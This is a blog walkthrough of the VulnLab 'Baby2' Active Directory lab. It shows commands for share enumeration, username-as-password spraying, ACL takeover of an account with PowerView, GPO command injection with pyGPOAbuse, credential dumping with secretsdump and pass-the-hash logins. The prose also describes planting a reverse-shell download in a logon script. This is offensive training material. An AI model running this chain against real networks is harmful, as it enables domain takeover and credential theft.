VulnLab - Baby2 Walkthrough
Introduction
Welcome back to my Active Directory exploitation series from VulnLab! In the previous post, we explored “Baby”
, a beginner-friendly Windows machine that introduced key AD fundamentals like LDAP
enumeration and abusing SeBackupPrivilege
for privilege escalation.
Today, we’re stepping things up with the second lab in the series “Baby2”
.
Baby2
is a solo, intermediate-level Windows Active Directory machine that dives deeper into AD misconfigurations
, with a strong focus on Access Control Lists (ACLs)
and Group Policy Objects (GPOs)
. These are common real-world components of Active Directory environments, and understanding how to identify and abuse misconfigurations around them is crucial for any Pentration Tester or Red Teamer.
By the end of this lab, you’ll have hands-on experience with:
- Identifying misconfigured ACLs on domain objects
- Leveraging GPO-based privilege escalation
Understanding the Concepts
Before jumping into the exploitation phase, let’s break down the two main concepts this lab focuses on — Access Control Lists (ACLs)
and Group Policy Objects (GPOs)
in a beginner-friendly way.
Access Control Lists (ACLs)
An
Access Control List (ACL)
in Active Directory is essentially a set of permissions attached to an object, think of it as a list ofwho can do what
. For example, imagine a shared folder in an office:
- Alice might have permission to read files, Bob can edit them, and Charlie has full control, including read, write, and delete access.
- Similarly, in Active Directory, ACLs define who can access, modify, or take control of objects like user accounts, groups, or computers.
Group Policy Objects (GPOs)
GPOs
are a way for administrators to automate system settings across all machines in a domain sort of like pushing rules or configurations to every computer.Example: Enforcing a password policy (e.g., must be 12 characters long), Running a startup script on all domain-joined PCs, Disabling USB drives across the organization.
A
startup script
is a script (usually a batch file, PowerShell script, or executable) that runs automatically when a computer starts up, before any user logs in. In the context of Windows Active Directory, startup scripts are often deployed usingGroup Policy Objects (GPOs)
to enforce system-wide behavior across multiple machines.Let’s say an IT admin wants every company laptop to Map a network drive, Install software updates, Run a security scan.
GPOs
are powerful — but if misconfigured, they can be exploited. For instance, if a user or group has write access to aGPO
that applies to an admin’s machine, the attacker can inject a malicious script or command that runs with higher privileges.
Now that we have a clear understanding of what
ACLs
andGPOs
are and why misconfigurations in these areas can pose serious security risks let’s dive into the lab and start the enumeration and exploitation process step by step.
Tools Breakdown
NetExec(nxc): network execution tool for interacting with various services remotely, supporting protocols like VNC, SSH, WINRM, MSSQL, FTP, LDAP, RDP, WMI, NFS, SMB. It allows for remote code execution and service interaction using valid credentials across different network protocols.
SMBclient: command-line client for accessing shared folders and files over the SMB protocol. It was used to interact with shared folders on the target machine, gather information about the logon script, and later upload a modified version to establish a reverse shell.
BloodHound: is a tool for Active Directory enumeration that maps out attack paths and privilege escalation opportunities in AD environments.
PowerView: is a PowerShell tool used for Active Directory enumeration and exploitation. It allows attackers to gather information about AD domains, manipulate permissions, and escalate privileges. In this lab, PowerView was used to manipulate DACLs (Discretionary Access Control Lists) and change the password of the gpoadm account.
pyGPOAbuse: is a Python script used to abuse misconfigured Group Policy Objects (GPOs). In this lab, it was used to add the gpoadm user to the local administrators group, giving us elevated privileges.
Impacket Secretsdump: tool from the Impacket suite that is used to dump credentials, hashes, and other sensitive information from Windows machines.
Evil-WinRM: A tool to remotely access Windows machines via WinRM using valid credentials for shell access.
Scanning
1
nmap -Pn -T4 -sC -sV -p53,88,135,139,389,445,464,593,636,3389,5985,9389,49664,49667,49669,49674,49676,63798,63782,63775 10.10.83.184 -oN reports/all_tcp.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-14 01:33 EAT
Nmap scan report for 10.10.83.184 (10.10.83.184)
Host is up (0.26s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-04-13 22:34:01Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: baby2.vl0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: baby2.vl0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.baby2.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc.baby2.vl
| Not valid before: 2025-04-13T21:30:57
|_Not valid after: 2026-04-13T21:30:57
3389/tcp open ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
| Target_Name: BABY2
| NetBIOS_Domain_Name: BABY2
| NetBIOS_Computer_Name: DC
| DNS_Domain_Name: baby2.vl
| DNS_Computer_Name: dc.baby2.vl
| DNS_Tree_Name: baby2.vl
| Product_Version: 10.0.20348
|_ System_Time: 2025-04-13T22:34:55+00:00
| ssl-cert: Subject: commonName=dc.baby2.vl
| Not valid before: 2025-04-12T21:39:46
|_Not valid after: 2025-10-12T21:39:46
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49664/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49674/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49676/tcp open msrpc Microsoft Windows RPC
63775/tcp open msrpc Microsoft Windows RPC
63782/tcp open msrpc Microsoft Windows RPC
63798/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 1s, deviation: 0s, median: 1s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2025-04-13T22:34:56
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 197.82 seconds
Enumeration
SMB
We kick off our enumeration with SMB
, a common file-sharing protocol in Windows environments. It’s often a good first step when targeting Windows machines, especially in Active Directory. Using the NetExec
tool we tried authenticating as the Guest user a default account that sometimes has limited access.The authentication was successful, and we were able to enumerate SMB shares on the target. Notably, we had read access to shares like homes
and apps
.
1
nxc smb 10.10.83.184 -u 'Guest' -p '' --shares
Digging deeper into the accessible shares, I focused on the homes share. As expected in many AD environments, this share contained home directories for individual users — essentially their personal folders on the domain.
By listing the contents of this share, I was able to enumerate several valid usernames, which is a critical step when working in an Active Directory environment. These usernames will later come in handy for targeted enumeration or potential attacks like password spraying.
Username as Password
With our list of usernames gathered from the homes share, we moved on to testing a common misconfiguration users setting their password to match their username. We used NetExec
again, leveraging its --no-bruteforce
flag to ensure we’re not hammering accounts and risking lockouts.
This approach paid off — we successfully authenticated with two sets of credentials, Carl.Moore:Carl.Moore
and library:library
1
nxc smb 10.10.68.173 -u loots/users.txt -p loots/users.txt --continue-on-success --no-bruteforce
Enumerating Users
1
nxc smb 10.10.68.173 -u Carl.Moore -p Carl.Moore --users
Enumerating the Domain with BloodHound
Now that we’ve obtained valid credentials (Carl.Moore:Carl.Moore
), it’s a great time to collect domain information using BloodHound
, a powerful tool for visualizing and analyzing Active Directory relationships and privilege escalation paths.
We used bloodhound-python
to perform a full collection of data from the domain.With the data imported into BloodHound, we’re ready to start analyzing our attack paths and identifying misconfigurations that can lead us to domain dominance.
1
bloodhound-python -d baby2.vl -c all -u 'Carl.Moore' -p 'Carl.Moore' -ns 10.10.68.173 --zip
While reviewing the BloodHound data, we identified that the user AMELIA.GRIFFITHS
has a logon script
(a script that runs automatically when a user logs into a Windows domain.) configured \\baby2.vl\SYSVOL\baby2.vl\scripts\login.vbs
.This script is located in the SYSVOL
share — a shared folder used by domain controllers to store public domain-wide resources, including Group Policy scripts
.
The key point here is if this script is writable by low-privileged users, it could be used as a method of privilege escalation.Since logon scripts are executed automatically when a user logs in, modifying a script tied to a privileged user could lead to code execution as that user
Initial Access
We accessed the SYSVOL
share to inspect the logon script and found login.vbs
inside the scripts directory.
After downloading it locally, we analyzed its contents and modified it to include a malicious payload: This payload uses PowerShell to download and execute a reverse shell from our attacker-controlled machine.
Abusing Logon Script
Before proceeding, we deleted the original login.vbs from the share to confirm write access. Once confirmed, we uploaded our modified version successfully.
Meanwhile, we had already set up a Python HTTP server
to host notpad.ps1
(a PowerShell reverse shell script) and a Netcat listener to catch the connection. As soon as a user triggered the logon script, we received a reverse shell confirming successful exploitation of a writable logon script via GPO misconfiguration
. To confirm which user the reverse shell was running as, we executed the following PowerShell command, which is similar to whoami "$env:USERDOMAIN\$env:USERNAME"
Privilege Escalation
Back in BloodHound, we discovered that AMELIA.GRIFFITHS
is a member of the LEGACY@BABY2.VL
group. According to the analysis, members of this group have the WriteDACL
permission on the user GPOADM@BABY2.VL
.
writeDACL
In Active Directory, every object (like a user, group, or computer) has a set of permissions that control who can do what to it. These permissions are stored in something called a DACL (Discretionary Access Control List). The WriteDACL permission means you can edit that list of permissions.
Imagine a VIP room that has a guest list at the door only people on the list can get in.Normally, only the manager can edit the guest list.But if you have WriteDACL, it’s like having the power to walk up and add your name (or your friend’s name) to the VIP list.
In Active Directory terms, If you have
WriteDACL
over a user account likeGPOADM
, you can add your own account and give it full control overGPOADM
. From there, you can do things like: Reset their password Or even impersonate them completely.
Now that we know Amelia.Griffiths
has WriteDACL
permissions over the gpoadm
user, we can abuse this access using a tool called PowerView
.
We start by uploading PowerView.ps1 to the target machine and loading it into our session.
1
Import-Module .\PowerView.ps1
We take ownership of the gpoadm
user object.
1
Set-DomainObjectOwner -Identity gpoadm -OwnerIdentity Amelia.Griffiths
Check that the owner is now Amelia.Griffiths
:
1
Get-ADUser gpoadmin | ForEach-Object {Get-ACL "AD:\$($_.DistingishedNam)" | Select-Object -ExpandProperty Owner}
After making Amelia.Griffths
as the owner of gpoadmn
, Give Amelia.Griffiths
full rights over the gpoadm
object so as we can Change the password of gpoadmn
.
1
Add-DomainObjectAcl -PrincipalIdentity Amelia.Griffiths -TargetIdentity gpoadm -Rights All
Now that we have full control, we can change gpoadm’s
password.
1
$NewPassword = ConvertTo-SecureString 'Password1234' -AsPlainText -Force
1
Set-DomainUserPassword -Identity 'gpoadm' -AccountPassword $NewPassword
Finally, we use the new password to authenticate as gpoadm
.
1
nxc smb 10.10.70.158 -u gpoadm -p 'Password1234'
GPO Abuse
Back in BloodHound, we discovered that GPOADM@BABY2.VL
has GenericAll
privileges on the GPO DEFAULT DOMAIN CONTROLLERS POLICY@BABY2.VL
. This is a significant finding — GenericAll
essentially means full control over the GPO
.
With this level of access, GPOADM
can make any changes to the Group Policy Object, including adding malicious startup or logon scripts. Since this specific GPO applies to Domain Controllers, any script or setting pushed through it will be executed by Domain Controllers opening the door to Domain Admin compromise
To abuse the GenericAll
privileges on the GPO DEFAULT DOMAIN CONTROLLERS POLICY@BABY2.VL
, we used pygpoabuse
, a tool designed to inject commands into GPOs
.
We ran the following command to add gpoadm
to the local Administrators
group on Domain Controllers
:
1
python3 pygpoabuse.py 'baby2.vl/gpoadm:Password1234' -gpo-id "6AC1786C-016F-11D2-945F-00C04FB984F9" -command "net localgroup administrators gpoadm /add" -f
After injecting the command, we forced the Group Policy update using:
1
gpupdate /force
This resulted in our user gpoadm
gaining local admin privileges on Domain Controllers, setting us up perfectly for full domain compromise.
Dumping Secrets
Impacket’s secretsdump.py
will perform various techniques to dump secrets from the remote machine without executing any agent. Techniques include reading SAM
and LSA
secrets from registries, dumping NTLM
hashes, plaintext credentials, and kerberos keys, and dumping NTDS.dit
.
1
secretsdump.py -just-dc baby2.vl/gpoadm:Password1234@10.10.125.38
Pass-the-Hash
Once we have the password hash for the Administrator account, we can authenticate with it using tools like Evil-WinRM
which let us remotely access Windows machines and perform administrative actions.
1
nxc winrm 10.10.125.38 -u Administrator -H 61eb5125f9944214679c2d0fdca6eb82
1
evil-winrm -i 10.10.125.38 -u Administrator -H 61eb5125f9944214679c2d0fdca6eb82
Wrap-Up
In this lab, we started by enumerating SMB
shares to discover user information, then used username-password
guessing techniques to gain access to accounts like Carl.Moore
. Using BloodHound
, we identified privilege escalation paths, specifically through WriteDACL
permissions, which allowed us to take ownership of the gpoadm
account and change its password. We further escalated privileges by exploiting full control over a GPO
, adding gpoadm
to the Admins group
. After dumping password hashes with impacket secretsdump
, we leveraged Pass-the-Hash
to authenticate as Administrator
. Finally, we established remote access using evil-winrm
, achieving full control of the target system.